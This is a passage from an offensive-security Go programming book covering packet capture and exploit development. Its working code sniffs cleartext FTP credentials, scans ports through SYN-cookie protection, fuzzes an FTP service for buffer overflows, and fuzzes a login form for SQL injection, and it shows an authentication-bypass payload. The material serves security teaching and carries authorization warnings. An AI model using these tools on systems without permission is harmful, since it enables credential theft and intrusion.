$ go build -o filter && sudo ./filter
PACKET: 74 bytes, wire length 74 cap length 74 @ 2020-04-26 08:44:43.074187 -0500 CDT
- Layer 1 (14 bytes) = Ethernet
{Contents=[..14..] Payload=[..60..]
SrcMAC=00:1c:42:cf:57:11 DstMAC=90:72:40:04:33:c1 EthernetType=IPv4 Length=0}
- Layer 2 (20 bytes) = IPv4
{Contents=[..20..] Payload=[..40..] Version=4 IHL=5
TOS=0 Length=60 Id=998 Flags=DF FragOffset=0 TTL=64 Protocol=TCP Checksum=55712
SrcIP=10.0.1.20 DstIP=54.164.27.126 Options=[] Padding=[]}
- Layer 3 (40 bytes) = TCP
{Contents=[..40..] Payload=[] SrcPort=51064
DstPort=80(http) Seq=3543761149 Ack=0 DataOffset=10 FIN=false SYN=true RST=false
PSH=false ACK=false URG=false ECE=false CWR=false NS=false Window=29200
Checksum=23908 Urgent=0 Options=[..5..] Padding=[]}
PACKET: 74 bytes, wire length 74 cap length 74 @ 2020-04-26 08:44:43.086706 -0500 CDT
- Layer 1 (14 bytes) = Ethernet
{Contents=[..14..] Payload=[..60..]
SrcMAC=00:1c:42:cf:57:11 DstMAC=90:72:40:04:33:c1 EthernetType=IPv4 Length=0}
- Layer 2 (20 bytes) = IPv4
{Contents=[..20..] Payload=[..40..] Version=4 IHL=5
TOS=0 Length=60 Id=23414 Flags=DF FragOffset=0 TTL=64 Protocol=TCP Checksum=16919
SrcIP=10.0.1.20 DstIP=204.79.197.203 Options=[] Padding=[]}
前沿信安资讯阵地 公众号:i nf osrc
178 Chapter 8
- Layer 3 (40 bytes) = TCP
{Contents=[..40..] Payload=[] SrcPort=37314
DstPort=80(http) Seq=2821118056 Ack=0 DataOffset=10 FIN=false SYN=true RST=false
PSH=false ACK=false URG=false ECE=false CWR=false NS=false Window=29200
Checksum=40285 Urgent=0 Options=[..5..] Padding=[]}
Listing 8-4: Captured packets logged to stdout
Although the raw output isn’t very digestible, it certainly contains a
nice separation of each layer. You can now use utility functions, such as
packet.ApplicationLayer() and packet.Data(), to retrieve the raw bytes for a
single layer or the entire packet. When you combine the output with hex
.Dump(), you can display the contents in a much more readable format. Play
around with this on your own.
Sniffing and Displaying Cleartext User Credentials
Now let’s build on the code you just created. You’ll replicate some of the
functionality provided by other tools to sniff and display cleartext user
credentials.
Most organizations now operate by using switched networks, which send
data directly between two endpoints rather than as a broadcast, making it
harder to passively capture traffic in an enterprise environment. However,
the following cleartext sniffing attack can be useful when paired with some-
thing like Address Resolution Protocol (ARP) poisoning, an attack that can
coerce endpoints into communicating with a malicious device on a switched
network, or when you’re covertly sniffing outbound traffic from a compro-
mised user workstation. In this example, we’ll assume you’ve compromised a
user workstation and focus solely on capturing traffic that uses FTP to keep
the code brief.
With the exception of a few small changes, the code in Listing 8-5 is
nearly identical to the code in Listing 8-3.
package main
import (
"bytes"
"fmt"
"log"
"github.com/google/gopacket"
"github.com/google/gopacket/pcap"
)
var (
iface = "enp0s5"
snaplen = int32(1600)
promisc = false
timeout = pcap.BlockForever
u filter = "tcp and dst port 21"
devFound = false
)
前沿信安资讯阵地 公众号:i nf osrc
Raw Packet Processing 179
func main() {
devices, err := pcap.FindAllDevs()
if err != nil {
log.Panicln(err)
}
for _, device := range devices {
if device.Name == iface {
devFound = true
}
}
if !devFound {
log.Panicf("Device named '%s' does not exist\n", iface)
}
handle, err := pcap.OpenLive(iface, snaplen, promisc, timeout)
if err != nil {
log.Panicln(err)
}
defer handle.Close()
if err := handle.SetBPFFilter(filter); err != nil {
log.Panicln(err)
}
source := gopacket.NewPacketSource(handle, handle.LinkType())
for packet := range source.Packets() {
v appLayer := packet.ApplicationLayer()
if appLayer == nil {
continue
}
w payload := appLayer.Payload()
x if bytes.Contains(payload, []byte("USER")) {
fmt.Print(string(payload))
} else if bytes.Contains(payload, []byte("PASS")) {
fmt.Print(string(payload))
}
}
}
Listing 8-5: Capturing FTP authentication credentials (/ch-8 /ftp/main.go)
The changes you made encompass only about 10 lines of code. First,
you change your BPF filter to capture only traffic destined for port 21 (the
port commonly used for FTP traffic) u. The rest of the code remains the
same until you process the packets.
To process packets, you first extract the application layer from the packet
and check to see whether it actually exists v, because the application layer
contains the FTP commands and data. You look for the application layer by
examining whether the response value from packet.ApplicationLayer() is nil.
Assuming the application layer exists in the packet, you extract the payload
(the FTP commands/data) from the layer by calling appLayer.Payload() w.
前沿信安资讯阵地 公众号:i nf osrc
180 Chapter 8
(There are similar methods for extracting and inspecting other layers and
data, but you only need the application layer payload.) With your payload
extracted, you then check whether the payload contains either the USER or
PASS commands x, indicating that it’s part of a login sequence. If it does,
display the payload to the screen.
Here’s a sample run that captures an FTP login attempt:
$ go build -o ftp && sudo ./ftp
USER someuser
PASS passw0rd
Of course, you can improve this code. In this example, the payload will
be displayed if the words USER or PASS exist anywhere in the payload. Really,
the code should be searching only the beginning of the payload to elimi-
nate false-positives that occur when those keywords appear as part of file
contents transferred between client and server or as part of a longer word
such as PASSAGE or ABUSER. We encourage you to make these improvements
as a learning exercise.
Port Scanning Through SYN-flood Protections
In Chapter 2, you walked through the creation of a port scanner. You
improved the code through multiple iterations until you had a high-
performing implementation that produced accurate results. However, in
some instances, that scanner can still produce incorrect results. Specifically,
when an organization employs SYN-flood protections, typically all ports—
open, closed, and filtered alike—produce the same packet exchange to
indicate that the port is open. These protections, known as SYN cookies,
prevent SYN-flood attacks and obfuscate the attack surface, producing
false-positives.
When a target is using SYN cookies, how can you determine whether a
service is listening on a port or a device is falsely showing that the port is
open? After all, in both cases, the TCP three-way handshake is completed.
Most tools and scanners (Nmap included) look at this sequence (or some
variation of it, based on the scan type you’ve chosen) to determine the
status of the port. Therefore, you can’t rely on these tools to produce
accurate results.
However, if you consider what happens after you’ve established a connec-
tion—an exchange of data, perhaps in the form of a service banner—you
can deduce whether an actual service is responding. SYN-flood protections
generally won’t exchange packets beyond the initial three-way handshake
unless a service is listening, so the presence of any additional packets might
indicate that a service exists.
Checking TCP Flags
To account for SYN cookies, you have to extend your port-scanning capa-
bilities to look beyond the three-way handshake by checking to see whether
前沿信安资讯阵地 公众号:i nf osrc
Raw Packet Processing 181
you receive any additional packets from the target after you’ve established a
connection. You can accomplish this by sniffing the packets to see if any of
them were transmitted with a TCP flag value indicative of additional, legiti-
mate service communications.
TCP flags indicate information about the state of a packet transfer. If
you look at the TCP specification, you’ll find that the flags are stored in a
single byte at position 14 in the packet’s header. Each bit of this byte repre-
sents a single flag value. The flag is “on” if the bit at that position is set to 1,
and “off” if the bit is set to 0. Table 8-1 shows the positions of the flags in
the byte, as per the TCP specification.
Table 8-1: TCP Flags and Their Byte Positions
Bit
7
6
5
4
3
2
1
0
Flag
CWR
ECE
URG
ACK
PSH
RST
SYN
FIN
Once you know the positions of the flags you care about, you can create
a filter that checks them. For example, you can look for packets containing
the following flags, which might indicate a listening service:
•
ACK and FIN
•
ACK
•
ACK and PSH
Because you have the ability to capture and filter certain packets by
using the gopacket library, you can build a utility that attempts to connect to
a remote service, sniffs the packets, and displays only the services that com-
municate packets with these TCP headers. Assume all other services are
falsely “open” because of SYN cookies.
Building the BPF Filter
Your BPF filter needs to check for the specific flag values that indicate packet
transfer. The flag byte has the following values if the flags we mentioned
earlier are turned on:
•
ACK and FIN: 00010001 (0x11)
•
ACK: 00010000 (0x10)
•
ACK and PSH: 00011000 (0x18)
We included the hex equivalent of the binary value for clarity, as you’ll
use the hex value in your filter.
To summarize, you need to check the 14th byte (offset 13 for a 0-based
index) of the TCP header, filtering only for packets whose flags are 0x11,
0x10, or 0x18. Here’s what the BPF filter looks like:
tcp[13] == 0x11 or tcp[13] == 0x10 or tcp[13] == 0x18
Excellent. You have your filter.
前沿信安资讯阵地 公众号:i nf osrc
182 Chapter 8
Writing the Port Scanner
Now you’ll use the filter to build a utility that establishes a full TCP connec-
tion and inspects packets beyond the three-way handshake to see whether
other packets are transmitted, indicating that an actual service is listening.
The program is shown in Listing 8-6. For the sake of simplicity, we’ve opted
to not optimize the code for efficiency. However, you can greatly improve
this code by making optimizations similar to those we made in Chapter 2.
var ( u
snaplen = int32(320)
promisc = true
timeout = pcap.BlockForever
filter = "tcp[13] == 0x11 or tcp[13] == 0x10 or tcp[13] == 0x18"
devFound = false
results = make(map[string]int)
)
func capture(iface, target string) { v
handle, err := pcap.OpenLive(iface, snaplen, promisc, timeout)
if err != nil {
log.Panicln(err)
}
defer handle.Close()
if err := handle.SetBPFFilter(filter); err != nil {
log.Panicln(err)
}
source := gopacket.NewPacketSource(handle, handle.LinkType())
fmt.Println("Capturing packets")
for packet := range source.Packets() {
networkLayer := packet.NetworkLayer() w
if networkLayer == nil {
continue
}
transportLayer := packet.TransportLayer()
if transportLayer == nil {
continue
}
srcHost := networkLayer.NetworkFlow().Src().String() x
srcPort := transportLayer.TransportFlow().Src().String()
if srcHost != target { y
continue
}
results[srcPort] += 1 z
}
}
前沿信安资讯阵地 公众号:i nf osrc
Raw Packet Processing 183
func main() {
if len(os.Args) != 4 {
log.Fatalln("Usage: main.go <capture_iface> <target_ip> <port1,port2,port3>")
}
devices, err := pcap.FindAllDevs()
if err != nil {
log.Panicln(err)
}
iface := os.Args[1]
for _, device := range devices {
if device.Name == iface {
devFound = true
}
}
if !devFound {
log.Panicf("Device named '%s' does not exist\n", iface)
}
ip := os.Args[2]
go capture(iface, ip) {
time.Sleep(1 * time.Second)
ports, err := explode(os.Args[3])
if err != nil {
log.Panicln(err)
}
for _, port := range ports { |
target := fmt.Sprintf("%s:%s", ip, port)
fmt.Println("Trying", target)
c, err := net.DialTimeout("tcp", target, 1000*time.Millisecond) }
if err != nil {
continue
}
c.Close()
}
time.Sleep(2 * time.Second)
for port, confidence := range results { ~
if confidence >= 1 {
fmt.Printf("Port %s open (confidence: %d)\n", port, confidence)
}
}
}
/* Extraneous code omitted for brevity */
Listing 8-6: Scanning and processing packets with SYN-flood protections (/ch-8 /syn-flood/main.go)
前沿信安资讯阵地 公众号:i nf osrc
184 Chapter 8
Broadly speaking, your code will maintain a count of packets, grouped
by port, to represent how confident you are that the port is indeed open.
You’ll use your filter to select only packets with the proper flags set. The
greater the count of matching packets, the higher your confidence that the
service is listening on the port.
Your code starts by defining several variables for use throughout u.
These variables include your filter and a map named results that you’ll
use to track your level of confidence that the port is open. You’ll use target
ports as keys and maintain a count of matching packets as the map value.
Next you define a function, capture(), that accepts the interface name
and target IP for which you’re testing v. The function itself bootstraps the
packet capture much in the same way as previous examples. However, you
must use different code to process each packet. You leverage the gopacket
functionality to extract the packet’s network and transport layers w. If
either of these layers is absent, you ignore the packet; that’s because the
next step is to inspect the source IP and port of the packet x, and if there’s
no transport or network layer, you won’t have that information. You then
confirm that the packet source matches the IP address that you’re target-
ing y. If the packet source and IP address don’t match, you skip further
processing. If the packet’s source IP and port match your target, you incre-
ment your confidence level for the port z. Repeat this process for each sub-
sequent packet. Each time you get a match, your confidence level increases.
In your main() function, use a goroutine to call your capture() function {.
Using a goroutine ensures that your packet capture and processing logic
runs concurrently without blocking. Meanwhile, your main() function pro-
ceeds to parse your target ports, looping through them one by one | and
calling net.DialTimeout to attempt a TCP connection against each }. Your
goroutine is running, actively watching these connection attempts, looking
for packets that indicate a service is listening.
After you’ve attempted to connect to each port, process all of your results
by displaying only those ports that have a confidence level of 1 or more
(meaning at least one packet matches your filter for that port) ~. The code
includes several calls to time.Sleep() to ensure you’re leaving adequate time
to set up the sniffer and process packets.
Let’s look at a sample run of the program, shown in Listing 8-7.
$ go build -o syn-flood && sudo ./syn-flood enp0s5 10.1.100.100
80,443,8123,65530
Capturing packets
Trying 10.1.100.100:80
Trying 10.1.100.100:443
Trying 10.1.100.100:8123
Trying 10.1.100.100:65530
Port 80 open (confidence: 1)
Port 443 open (confidence: 1)
Listing 8-7: Port-scanning results with confidence ratings
前沿信安资讯阵地 公众号:i nf osrc
Raw Packet Processing 185
The test successfully determines that both port 80 and 443 are open.
It also confirms that no service is listening on ports 8123 and 65530. (Note
that we’ve changed the IP address in the example to protect the innocent.)
You could improve the code in several ways. As learning exercises,
we challenge you to add the following enhancements:
1.
Remove the network and transport layer logic and source checks from
the capture() function. Instead, add additional parameters to the
BPF filter to ensure that you capture only packets from your target
IP and ports.
2. Replace the sequential logic of port scanning with a concurrent alter-
native, similar to what we demonstrated in previous chapters. This will
improve efficiency.
3. Rather than limiting the code to a single target IP, allow the user to
supply a list of IPs or network blocks.
Summary
We’ve completed our discussion of packet captures, focusing primarily
on passive sniffing activities. In the next chapter, we’ll focus on exploit
development.
前沿信安资讯阵地 公众号:i nf osrc
前沿信安资讯阵地 公众号:i nf osrc
9
W R I T ING A N D P OR T ING
E X PL O I T CODE
In the majority of the previous chapters,
you used Go to create network-based
attacks. You’ve explored raw TCP, HTTP,
DNS, SMB, database interaction, and passive
packet capturing.
This chapter focuses instead on identifying and exploiting vulnerabili-
ties. First, you’ll learn how to create a vulnerability fuzzer to discover an
application’s security weaknesses. Then you’ll learn how to port existing
exploits to Go. Finally, we’ll show you how to use popular tools to create
Go-friendly shellcode. By the end of the chapter, you should have a basic
understanding of how to use Go to discover flaws while also using it to
write and deliver various payloads.
前沿信安资讯阵地 公众号:i nf osrc
188 Chapter 9
Creating a Fuzzer
Fuzzing is a technique that sends extensive amounts of data to an applica-
tion in an attempt to force the application to produce abnormal behavior.
This behavior can reveal coding errors or security deficiencies, which you
can later exploit.
Fuzzing an application can also produce undesirable side effects, such
as resource exhaustion, memory corruption, and service interruption. Some
of these side effects are necessary for bug hunters and exploit developers
to do their jobs but bad for the stability of the application. Therefore, it’s
crucial that you always perform fuzzing in a controlled lab environment. As
with most of the techniques we discuss in this book, don’t fuzz applications
or systems without explicit authorization from the owner.
In this section, you’ll build two fuzzers. The first will check the capacity
of an input in an attempt to crash a service and identify a buffer overflow.
The second fuzzer will replay an HTTP request, cycling through potential
input values to detect SQL injection.
Buffer Overflow Fuzzing
Buffer overflows occur when a user submits more data in an input than the
application has allocated memory space for. For example, a user could submit
5,000 characters when the application expects to receive only 5. If a program
uses the wrong techniques, this could allow the user to write that surplus data
to parts of memory that aren’t intended for that purpose. This “overflow” cor-
rupts the data stored within adjacent memory locations, allowing a malicious
user to potentially crash the program or alter its logical flow.
Buffer overflows are particularly impactful for network-based programs
that receive data from clients. Using buffer overflows, a client can disrupt
server availability or possibly achieve remote code execution. It’s worth
restating: don’t fuzz systems or applications unless you are permitted to do
so. In addition, make sure you fully understand the consequences of crashing
the system or service.
How Buffer Overflow Fuzzing Works
Fuzzing to create a buffer overflow generally involves submitting increas-
ingly longer inputs, such that each subsequent request includes an input
value whose length is one character longer than the previous attempt. A
contrived example using the A character as input would execute according
to the pattern shown in Table 9-1.
By sending numerous inputs to a vulnerable function, you’ll eventually
reach a point where the length of your input exceeds the function’s defined
buffer size, which will corrupt the program’s control elements, such as its
return and instruction pointers. At this point, the application or system
will crash.
By sending incrementally larger requests for each attempt, you can pre-
cisely determine the expected input size, which is important for exploiting
the application later. You can then inspect the crash or resulting core dump
前沿信安资讯阵地 公众号:i nf osrc
Writing and Porting Exploit Code 189
to better understand the vulnerability and attempt to develop a working
exploit. We won’t go into debugger usage and exploit development here;
instead, let’s focus on writing the fuzzer.
Table 9-1: Input Values in a Buffer Overflow Test
Attempt
Input value
1
A
2
AA
3
AAA
4
AAAA
N
A repeated N times
If you’ve done any manual fuzzing using modern, interpreted languages,
you’ve probably used a construct to create strings of specific lengths. For
example, the following Python code, run within the interpreter console,
shows how simple it is to create a string of 25 A characters:
>>> x = "A"*25
>>> x
'AAAAAAAAAAAAAAAAAAAAAAAAA'
Unfortunately, Go has no such construct to conveniently build strings
of arbitrary length. You’ll have to do that the old-fashioned way—using a
loop—which would look something like this:
var (
n int
s string
)
for n = 0; n < 25; n++ {
s += "A"
}
Sure, it’s a little more verbose than the Python alternative, but not
overwhelming.
The other consideration you’ll need to make is the delivery mechanism
for your payload. This will depend on the target application or system. In
some instances, this could involve writing a file to a disk. In other cases,
you might communicate over TCP/UDP with an HTTP, SMTP, SNMP, FTP,
Telnet, or other networked service.
In the following example, you’ll perform fuzzing against a remote FTP
server. You can tweak a lot of the logic we present fairly quickly to operate
against other protocols, so it should act as a good basis for you to develop
custom fuzzers against other services.
Although Go’s standard packages include support for some common
protocols, such as HTTP and SMTP, they don’t include support for client-
server FTP interactions. Instead, you could use a third-party package that
前沿信安资讯阵地 公众号:i nf osrc
190 Chapter 9
already performs FTP communications, so you don’t have to reinvent the
wheel and write something from the ground up. However, for maximum
control (and to appreciate the protocol), you’ll instead build the basic FTP
functionality using raw TCP communications. If you need a refresher on
how this works, refer to Chapter 2.
Building The Buffer Overflow Fuzzer
Listing 9-1 shows the fuzzer code. (All the code listings at the root location
of / exist under the provided github repo https://github.com/blackhat-go/
bhg/.) We’ve hardcoded some values, such as the target IP and port, as well
as the maximum length of your input. The code itself fuzzes the USER prop-
erty. Since this property occurs before a user is authenticated, it represents
a commonly testable point on the attack surface. You could certainly extend
this code to test other pre-authentication commands, such as PASS, but keep in
mind that if you supply a legitimate username and then keep submitting
inputs for PASS, you might get locked out eventually.
func main() {
u for i := 0; i < 2500; i++ {
v conn, err := net.Dial("tcp", "10.0.1.20:21")
if err != nil {
w log.Fatalf("[!] Error at offset %d: %s\n", i, err)
}
x bufio.NewReader(conn).ReadString('\n')
user := ""
y for n := 0; n <= i; n++ {
user += "A"
}
raw := "USER %s\n"
z fmt.Fprintf(conn, raw, user)
bufio.NewReader(conn).ReadString('\n')
raw = "PASS password\n"
fmt.Fprint(conn, raw)
bufio.NewReader(conn).ReadString('\n')
if err := conn.Close(){; err != nil {
| log.Println("[!] Error at offset %d: %s\n", i, err)
}
}
}
Listing 9-1: A buffer overflow fuzzer (/ch-9/ftp-fuzz /main.go)
The code is essentially one large loop, beginning at u. Each time the
program loops, it adds another character to the username you’ll supply. In
this case, you’ll send usernames from 1 to 2,500 characters in length.
For each iteration of the loop, you establish a TCP connection to the
destination FTP server v. Any time you interact with the FTP service,
前沿信安资讯阵地 公众号:i nf osrc
Writing and Porting Exploit Code 191
whether it’s the initial connection or the subsequent commands, you
explicitly read the response from the server as a single line x. This allows
the code to block while waiting for the TCP responses so you don’t send
your commands prematurely, before packets have made their round trip.
You then use another for loop to build the string of As in the manner
we showed previously y. You use the index i of the outer loop to build
the string length dependent on the current iteration of the loop, so that
it increases by one each time the program starts over. You use this value
to write the USER command by using fmt.Fprintf(conn, raw, user) z.
Although you could end your interaction with the FTP server at this
point (after all, you’re fuzzing only the USER command), you proceed to
send the PASS command to complete the transaction. Lastly, you close your
connection cleanly {.
It’s worth noting that there are two points, w and |, where abnormal
connectivity behavior could indicate a service disruption, implying a poten-
tial buffer overflow: when the connection is first established and when the
connection closes. If you can’t establish a connection the next time the pro-
gram loops, it’s likely that something went wrong. You’ll then want to check
whether the service crashed as a result of a buffer overflow.
If you can’t close a connection after you’ve established it, this may
indicate the abnormal behavior of the remote FTP service abruptly discon-
necting, but it probably isn’t caused by a buffer overflow. The anomalous
condition is logged, but the program will continue.
A packet capture, illustrated in Figure 9-1, shows that each subsequent
USER command grows in length, confirming that your code works as desired.
Figure 9-1: A Wireshark capture depicting the USER command growing by one letter
each time the program loops
You could improve the code in several ways for flexibility and conve-
nience. For example, you’d probably want to remove the hardcoded IP,
port, and iteration values, and instead include them via command line
arguments or a configuration file. We invite you to perform these usability
updates as an exercise. Furthermore, you could extend the code so it fuzzes
commands after authentication. Specifically, you could update the tool to
fuzz the CWD/CD command. Various tools have historically been susceptible
前沿信安资讯阵地 公众号:i nf osrc
192 Chapter 9
to buffer overflows related to the handling of this command, making it a
good target for fuzzing.
SQL Injection Fuzzing
In this section, you’ll explore SQL injection fuzzing. Instead of changing
the length of each input, this variation on the attack cycles through a
defined list of inputs to attempt to cause SQL injection. In other words,
you’ll fuzz the username parameter of a website login form by attempting
a list of inputs consisting of various SQL meta-characters and syntax that,
if handled insecurely by the backend database, will yield abnormal behavior
by the application.
To keep things simple, you’ll be probing only for error-based SQL injec-
tion, ignoring other forms, such as boolean-, time-, and union-based. That
means that instead of looking for subtle differences in response content or
response time, you’ll look for an error message in the HTTP response to
indicate a SQL injection. This implies that you expect the web server to
remain operational, so you can no longer rely on connection establish-
ment as a litmus test for whether you’ve succeeded in creating abnormal
behavior. Instead, you’ll need to search the response body for a database
error message.
How SQL Injection Works
At its core, SQL injection allows an attacker to insert SQL meta-characters
into a statement, potentially manipulating the query to produce unintended
behavior or return restricted, sensitive data. The problem occurs when
developers blindly concatenate untrusted user data to their SQL queries,
as in the following pseudocode:
username = HTTP_GET["username"]
query = "SELECT * FROM users WHERE user = '" + username + "'"
result = db.execute(query)
if(len(result) > 0) {
return AuthenticationSuccess()
} else {
return AuthenticationFailed()
}
In our pseudocode, the username variable is read directly from an
HTTP parameter. The value of the username variable isn’t sanitized or
validated. You then build a query string by using the value, concatenating
it onto the SQL query syntax directly. The program executes the query
against the database and inspects the result. If it finds at least one match-
ing record, you’d consider the authentication successful. The code should
behave appropriately so long as the supplied username consists of alpha-
numeric and a certain subset of special characters. For example, supplying
a username of alice results in the following safe query:
SELECT * FROM users WHERE user = 'alice'
前沿信安资讯阵地 公众号:i nf osrc
Writing and Porting Exploit Code 193
However, what happens when the user supplies a username containing an
apostrophe? Supplying a username of o'doyle produces the following query:
SELECT * FROM users WHERE user = 'o'doyle'
The problem here is that the backend database now sees an unbalanced
number of single quotation marks. Notice the emphasized portion of the
preceding query, doyle; the backend database interprets this as SQL syntax,
since it’s outside the enclosing quotes. This, of course, is invalid SQL syn-
tax, and the backend database won’t be able to process it. For error-based
SQL injection, this produces an error message in the HTTP response. The
message itself will vary based on the database. In the case of MySQL, you’ll
receive an error similar to the following, possibly with additional details dis-
closing the query itself:
You have an error in your SQL syntax
Although we won’t go too deeply into exploitation, you could now
manipulate the username input to produce a valid SQL query that would
bypass the authentication in our example. The username input ' OR 1=1#
does just that when placed in the following SQL statement:
SELECT * FROM users WHERE user = '' OR 1=1#'
This input appends a logical OR onto the end of the query. This OR state-
ment always evaluates to true, because 1 always equals 1. You then use a
MySQL comment (#) to force the backend database to ignore the remain-
der of the query. This results in a valid SQL statement that, assuming one
or more rows exist in the database, you can use to bypass authentication in
the preceding pseudocode example.
Building the SQL Injection Fuzzer
The intent of your fuzzer won’t be to generate a syntactically valid SQL
statement. Quite the opposite. You’ll want to break the query such that
the malformed syntax yields an error by the backend database, as the
O’Doyle example just demonstrated. For this, you’ll send various SQL
meta-characters as input.
The first order of business is to analyze the target request. By inspecting
the HTML source code, using an intercepting proxy, or capturing network
packets with Wireshark, you determine that the HTTP request submitted for
the login portal resembles the following:
POST /WebApplication/login.jsp HTTP/1.1
Host: 10.0.1.20:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
前沿信安资讯阵地 公众号:i nf osrc
194 Chapter 9
Content-Length: 35
Referer: http://10.0.1.20:8080/WebApplication/
Cookie: JSESSIONID=2D55A87C06A11AAE732A601FCB9DE571
Connection: keep-alive
Upgrade-Insecure-Requests: 1
username=someuser&password=somepass
The login form sends a POST request to http://10.0.1.20:8080
/WebApplication/login.jsp. There are two form parameters: username and
password. For this example, we’ll limit the fuzzing to the username field for
brevity. The code itself is fairly compact, consisting of a few loops, some
regular expressions, and the creation of an HTTP request. It’s shown in
Listing 9-2.
func main() {
u payloads := []string{
"baseline",
")",
"(",
"\"",
"'",
}
v sqlErrors := []string{
"SQL",
"MySQL",
"ORA-",
"syntax",
}
errRegexes := []*regexp.Regexp{}
for _, e := range sqlErrors {
w re := regexp.MustCompile(fmt.Sprintf(".*%s.*", e))
errRegexes = append(errRegexes, re)
}
x for _, payload := range payloads {
client := new(http.Client)
y body := []byte(fmt.Sprintf("username=%s&password=p", payload))
z req, err := http.NewRequest(
"POST",
"http://10.0.1.20:8080/WebApplication/login.jsp",
bytes.NewReader(body),
)
if err != nil {
log.Fatalf("[!] Unable to generate request: %s\n", err)
}
req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
resp, err := client.Do(req)
if err != nil {
log.Fatalf("[!] Unable to process response: %s\n", err)
}
前沿信安资讯阵地 公众号:i nf osrc
Writing and Porting Exploit Code 195
{ body, err = ioutil.ReadAll(resp.Body)
if err != nil {
log.Fatalf("[!] Unable to read response body: %s\n", err)
}
resp.Body.Close()
| for idx, re := range errRegexes {
} if re.MatchString(string(body)) {
fmt.Printf(
"[+] SQL Error found ('%s') for payload: %s\n",
sqlErrors[idx],
payload,
)
break
}
}
}
}
Listing 9-2: A SQL injection fuzzer (/ch-9/http_fuzz /main.go)
The code begins by defining a slice of payloads you want to attempt u.
This is your fuzzing list that you’ll supply later as the value of the username
request parameter. In the same vein, you define a slice of strings that repre-
sent keywords within an SQL error message v. These will be the values you’ll
search for in the HTTP response body. The presence of any of these values is
a strong indicator that an SQL error message is present. You could expand on
both of these lists, but they’re adequate datasets for this example.
Next, you perform some preprocessing work. For each of the error key-
words you wish to search for, you build and compile a regular expression w.
You do this work outside your main HTTP logic so you don’t have to create
and compile these regular expressions multiple times, once for each payload.
A minor optimization, no doubt, but good practice nonetheless. You’ll use
these compiled regular expressions to populate a separate slice for use later.
Next comes the core logic of the fuzzer. You loop through each of the
payloads x, using each to build an appropriate HTTP request body whose
username value is your current payload y. You use the resulting value to
build an HTTP POST request z, targeting your login form. You then set
the Content-Type header and send the request by calling client.Do(req).
Notice that you send the request by using the long-form process of
creating a client and an individual request and then calling client.Do(). You
certainly could have used Go’s http.PostForm() function to achieve the same
behavior more concisely. However, the more verbose technique gives you
more granular control over HTTP header values. Although in this example
you’re setting only the Content-Type header, it’s not uncommon to set addi-
tional header values when making HTTP requests (such as User-Agent, Cookie,
and others). You can’t do this with http.PostForm(), so going the long route
will make it easier to add any necessary HTTP headers in the future, par-
ticularly if you’re ever interested in fuzzing the headers themselves.
前沿信安资讯阵地 公众号:i nf osrc
196 Chapter 9
Next, you read the HTTP response body by using ioutil.ReadAll() {.
Now that you have the body, you loop through all of your precompiled
regular expressions |, testing the response body for the presence of your
SQL error keywords }. If you get a match, you probably have a SQL injec-
tion error message. The program will log details of the payload and error
to the screen and move onto the next iteration of the loop.
Run your code to confirm that it successfully identifies a SQL injection
flaw in a vulnerable login form. If you supply the username value with a single
quotation mark, you’ll get the error indicator SQL, as shown here:
$ go run main.go
[+] SQL Error found ('SQL') for payload: '
We encourage you to try the following exercises to help you better
understand the code, appreciate the nuances of HTTP communications,
and improve your ability to detect SQL injection:
1. Update the code to test for time-based SQL injection. To do this, you’ll
have to send various payloads that introduce a time delay when the
backend query executes. You’ll need to measure the round-trip time
and compare it against a baseline request to deduce whether SQL
injection is present.
2. Update the code to test for boolean-based blind SQL injection. Although
you can use different indicators for this, a simple way is to compare the
HTTP response code against a baseline response. A deviation from the
baseline response code, particularly receiving a response code of 500
(internal server error), may be indicative of SQL injection.
3. Rather than relying on Go’s net.http package to facilitate communica-
tions, try using the net package to dial a raw TCP connection. When
using the net package, you’ll need to be aware of the Content-Length
HTTP header, which represents the length of the message body. You’ll
need to calculate this length correctly for each request because the
body length may change. If you use an invalid length value, the server
will likely reject the request.
In the next section, we’ll show you how to port exploits to Go from
other languages, such as Python or C.
Porting Exploits to Go
For various reasons, you may want to port an existing exploit to Go. Perhaps
the existing exploit code is broken, incomplete, or incompatible with the
system or version you wish to target. Although you could certainly extend or
update the broken or incomplete code using the same language with which
it was created, Go gives you the luxury of easy cross-compilation, consistent
syntax and indentation rules, and a powerful standard library. All of this
will make your exploit code arguably more portable and readable without
compromising on features.
前沿信安资讯阵地 公众号:i nf osrc
Writing and Porting Exploit Code 197
Likely the most challenging task when porting an existing exploit is
determining the equivalent Go libraries and function calls to achieve the
same level of functionality. For example, addressing endianness, encoding,
and encryption equivalents may take a bit of research, particularly for those
who aren’t well versed in Go. Fortunately, we’ve addressed the complexity of
network-based communications in previous chapters. The implementations
and nuances of this should, hopefully, be familiar.
You’ll find countless ways to use Go’s standard packages for exploit
development or porting. While it’s unrealistic for us to comprehensively
cover these packages and use cases in a single chapter, we encourage you
to explore Go’s official documentation at https://golang.org/pkg/. The docu-
mentation is extensive, with an abundance of good examples to help you
understand function and package usage. Here are just a few of the packages
that will likely be of greatest interest to you when working with exploitation:
bytes Provides low-level byte manipulation
crypto Implements various symmetric and asymmetric ciphers and
message authentication
debug Inspects various file type metadata and contents
encoding Encodes and decodes data by using various common forms
such as binary, Hex, Base64, and more
io and bufio Reads and writes data from and to various common
interface types including the file system, standard output, network
connections, and more
net Facilitates client-server interaction by using various protocols
such as HTTP and SMTP
os Executes and interacts with the local operating system
syscall Exposes an interface for making low-level system calls
unicode Encodes and decodes data by using UTF-16 or UTF-8
unsafe Useful for avoiding Go’s type safety checks when interacting
with the operating system
Admittedly, some of these packages will prove to be more useful in later
chapters, particularly when we discuss low-level Windows interactions, but
we’ve included this list for your awareness. Rather than trying to cover these
packages in detail, we’ll show you how to port an existing exploit by using
some of these packages.
Porting an Exploit from Python
In this first example, you’ll port an exploit of the Java deserialization vul-
nerability released in 2015. The vulnerability, categorized under several
CVEs, affects the deserialization of Java objects in common applications,
servers, and libraries.1 This vulnerability is introduced by a deserialization
1. For more detailed information about this vulnerability, refer to https://foxglovesecurity.com
/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in
-common-this-vulnerability/#jboss.
前沿信安资讯阵地 公众号:i nf osrc
198 Chapter 9
library that doesn’t validate input prior to server-side execution (a com-
mon cause of vulnerabilities). We’ll narrow our focus to exploiting JBoss,
